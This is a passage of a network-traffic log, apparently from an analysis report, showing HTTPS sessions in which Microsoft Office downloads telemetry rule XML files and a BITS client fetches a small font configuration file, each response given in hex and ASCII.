22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.7	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:35 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:35 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:35 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: dfb03e2b-001e-00ad-2bc4-37554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212035Z-16547b76f7fxqj4khC1DFWpypw000000023000000000r6q3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:35 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.7	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:35 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:35 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: fb6e6a34-d01e-0017-6788-37b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212035Z-164f84587bffvwt9hC1DFW2ktw00000002g000000000mr26 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:35 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.7	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:35 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:35 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:35 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 685cc001-201e-0085-3009-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212035Z-16547b76f7fm8pcwhC1DFWaxcc000000031g00000000091f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:35 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.7	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:35 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:35 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 67879f82-a01e-000d-0dd2-37d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212035Z-16547b76f7f7zzl8hC1DFWmtag00000003qg00000000fd9h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:35 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.7	49808	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:35 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-17 21:20:36 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=242650 Date: Sun, 17 Nov 2024 21:20:35 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-17 21:20:36 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.7	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:36 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:36 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:36 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 0e6654d1-b01e-0097-46c4-374f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212036Z-16547b76f7fwcwmrhC1DFWtp0400000000rg00000000bmcs x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:36 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.7	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:36 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:36 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:36 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 0f1e6d84-801e-007b-5baf-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212036Z-16547b76f7fhvzzthC1DFW557000000004ug00000000qu8m x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:36 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.7	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:36 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:36 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:36 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 2d30c4d9-701e-003e-289a-3879b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212036Z-164f84587bfdt5l2hC1DFW88gs0000000360000000008f63 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 21:20:36 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.7	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:36 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:36 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:36 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 11343522-e01e-0085-0240-36c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212036Z-16547b76f7fpdsp9hC1DFW8f5000000002c000000000kr91 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:36 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.7	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:36 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:36 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:36 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: eda1c5d7-201e-0033-2eb8-37b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212036Z-16547b76f7fhv4d5hC1DFW7h0n000000036g00000000bca2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:36 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.7	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:37 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:37 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:37 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 1c255c34-701e-0053-4dbc-373a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212037Z-16547b76f7fffb7lhC1DFWdsxg00000004wg00000000tw1k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:37 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.7	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:37 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:37 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:37 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 55235507-801e-0015-17af-36f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212037Z-16547b76f7fzwxm2hC1DFWt5hw00000002cg00000000gd58 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:37 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.7	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:37 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
